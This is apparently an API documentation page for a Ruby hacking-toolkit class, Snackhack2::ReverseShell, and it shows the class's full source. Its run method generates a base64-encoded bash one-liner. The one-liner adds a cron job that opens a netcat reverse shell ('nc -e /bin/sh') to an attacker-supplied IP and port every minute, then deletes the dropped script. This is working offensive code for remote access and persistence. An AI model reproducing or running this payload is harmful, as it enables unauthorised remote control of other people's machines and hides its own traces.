Class: Snackhack2::ReverseShell

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/reverse_shell.rb

Instance Method Summary collapse

Constructor Details

#initialize(ip, port) ⇒ ReverseShell

Returns a new instance of ReverseShell.



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# File 'lib/snackhack2/reverse_shell.rb', line 4

def initialize(ip, port)
  @ip   = ip
  @port = port
end

Instance Method Details

#run ⇒ Object 



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# File 'lib/snackhack2/reverse_shell.rb', line 9

def run
  c = %Q{#!/bin/bash
      line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
      (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
  puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
end